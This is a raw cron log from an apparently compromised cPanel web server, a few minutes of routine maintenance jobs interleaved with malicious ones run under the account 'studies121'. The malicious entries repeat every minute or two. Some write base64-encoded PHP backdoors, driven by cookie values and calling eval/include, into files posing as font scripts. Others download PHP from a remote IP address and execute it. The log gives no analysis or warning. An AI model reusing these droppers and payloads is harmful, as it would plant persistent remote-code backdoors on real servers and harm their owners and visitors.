Sep 22 04:39:01 ip-184-168-122-23 CROND[16762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:39:01 ip-184-168-122-23 CROND[16764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:39:01 ip-184-168-122-23 CROND[16765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:39:01 ip-184-168-122-23 CROND[16767]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:40:02 ip-184-168-122-23 CROND[16922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:40:02 ip-184-168-122-23 CROND[16923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:40:02 ip-184-168-122-23 CROND[16928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:41:02 ip-184-168-122-23 CROND[17077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:41:02 ip-184-168-122-23 CROND[17078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:41:02 ip-184-168-122-23 CROND[17081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:41:02 ip-184-168-122-23 CROND[17084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:42:01 ip-184-168-122-23 CROND[17220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:42:01 ip-184-168-122-23 CROND[17221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:42:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:42:01 ip-184-168-122-23 CROND[17225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:42:01 ip-184-168-122-23 CROND[17227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:43:02 ip-184-168-122-23 CROND[17445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:43:02 ip-184-168-122-23 CROND[17446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:43:02 ip-184-168-122-23 CROND[17447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:43:02 ip-184-168-122-23 CROND[17451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:44:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:44:01 ip-184-168-122-23 CROND[17576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:44:01 ip-184-168-122-23 CROND[17580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:44:01 ip-184-168-122-23 CROND[17578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:44:01 ip-184-168-122-23 CROND[17579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:45:01 ip-184-168-122-23 CROND[17765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:45:01 ip-184-168-122-23 CROND[17766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:45:01 ip-184-168-122-23 CROND[17767]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 04:45:01 ip-184-168-122-23 CROND[17771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:45:01 ip-184-168-122-23 CROND[17773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:45:01 ip-184-168-122-23 CROND[17775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:45:01 ip-184-168-122-23 CROND[17778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:46:01 ip-184-168-122-23 CROND[17923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:46:01 ip-184-168-122-23 CROND[17925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:46:01 ip-184-168-122-23 CROND[17926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:46:01 ip-184-168-122-23 CROND[17927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:46:01 ip-184-168-122-23 CROND[17929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:46:01 ip-184-168-122-23 CROND[17930]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 04:46:01 ip-184-168-122-23 CROND[17932]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 04:47:01 ip-184-168-122-23 CROND[18105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:47:01 ip-184-168-122-23 CROND[18106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:47:01 ip-184-168-122-23 CROND[18107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:47:01 ip-184-168-122-23 CROND[18109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:48:01 ip-184-168-122-23 CROND[18302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:48:01 ip-184-168-122-23 CROND[18305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:48:01 ip-184-168-122-23 CROND[18304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:48:01 ip-184-168-122-23 CROND[18308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:48:01 ip-184-168-122-23 CROND[18307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:49:01 ip-184-168-122-23 CROND[18453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:49:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:49:01 ip-184-168-122-23 CROND[18455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:49:01 ip-184-168-122-23 CROND[18459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:49:01 ip-184-168-122-23 CROND[18457]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:50:01 ip-184-168-122-23 CROND[18609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:50:01 ip-184-168-122-23 CROND[18611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 04:50:01 ip-184-168-122-23 CROND[18610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
